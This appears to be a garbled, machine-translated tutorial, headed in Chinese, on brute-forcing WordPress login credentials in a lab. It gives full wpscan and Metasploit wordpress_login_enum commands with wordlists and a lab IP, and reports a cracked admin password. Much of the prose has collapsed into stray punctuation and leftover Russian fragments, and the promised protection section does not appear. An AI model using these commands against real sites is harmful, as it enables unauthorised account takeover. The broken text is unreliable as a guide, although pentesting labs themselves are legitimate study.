🧖🏿 🤑 👩🏼‍🏭 各种WordPress蛮力攻击方法 🥡 🏕️ 👨🏻‍🔧

在本文中，您将学习如何使用各种暴力攻击来入侵WordPress网站凭据。

内容：

先决条件
扫描
Metasploit
打p套房
如何保护网站免受暴力侵害？

先决条件

由WordPress驱动的网站。在这里，我们将使用我们自己的实验室进行渗透测试，我们先前的帖子专门针对该实验室的创建。
Kali Linux (WPscan). WPScan , Kali Linux .
Burp Suite (Intruder). .

WPscan

WPscan – , « ». WPscan Linux, , .

WordPress, .

, Kali Linux

rockyou.txt, Kali Linux 14 341 564 .

wpscan --url http://192.168.1.100/wordpress/ -U users.txt -P /usr/share/wordlists/rockyou.txt

–URL — URL-, URL- - WordPress .
-U , users.txt
-P rockyou.txt

. , .

admin flower.

Metasploit

Metasploit Kali Linux. Metasploit, WordPress. msf . , .

msf > use auxiliary/scanner/http/wordpress_login_enum
msf auxiliary(wordpress_login_enum) > set rhosts 192.168.1.100
msf auxiliary(wordpress_login_enum) > set targeturi /wordpress
msf auxiliary(wordpress_login_enum) > set user_file user.txt
msf auxiliary(wordpress_login_enum) > set pass_file pass.txt
msf auxiliary(wordpress_login_enum) > exploit

, :